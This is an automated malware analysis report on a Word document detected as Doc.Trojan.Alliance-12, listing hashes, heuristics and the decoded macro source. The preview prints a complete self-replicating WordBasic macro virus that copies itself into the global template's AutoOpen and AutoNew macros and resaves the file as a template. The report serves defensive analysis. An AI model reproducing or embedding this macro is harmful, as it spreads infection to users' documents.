Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 acaa941cca8cce67…

MALICIOUS

Office (OLE)

32.5 KB Created: 2001-12-08 05:38:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 6daf5059ac583342b880ccbcba58ed50 SHA-1: c879ac640758bde976aee33be1a60c8718055c72 SHA-256: acaa941cca8cce677f7485940f21aad9235ed133f492aea67e1ce3b647f31330
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file contains a legacy WordBasic AutoOpen macro, identified by the OLE_LEGACY_WORDBASIC_AUTOEXEC heuristic. This macro is designed to copy itself to other global templates, such as AutoNew and AutoOpen, potentially for persistence or propagation. The ClamAV detection 'Doc.Trojan.Alliance-12' further confirms its malicious nature. The subject of the macro is 'Macro.Word.Subject'.

Heuristics 4

  • ClamAV: Doc.Trojan.Alliance-12 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Alliance-12
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1015 bytes
SHA-256: 9839adace62d8b493592fe8bc878b8ed2e84f7478ef0e7dfeafe641699819f56
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Virus Macro.Word.Subject"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoOpen.MAIN"
Dim Fname$
Dim MacName$
On Error GoTo -1: On Error GoTo ErrorHandler

Fname$ = WordBasic.[FileName$]()
MacName$ = Fname$ + ":AutoOpen"

WordBasic.FileSummaryInfo Subject:="Macro.Word.Subject"
WordBasic.FileSummaryInfo Author:="Duke/SMF"

WordBasic.MacroCopy MacName$, "Global:AutoNew", -1
WordBasic.MacroCopy MacName$, "Global:AutoOpen", -1

ErrorHandler:

If WordBasic.IsDocumentDirty() = -1 Then
  WordBasic.MacroCopy "Global:AutoOpen", MacName$, -1
End If
WordBasic.FileSaveAs Format:=1
End Sub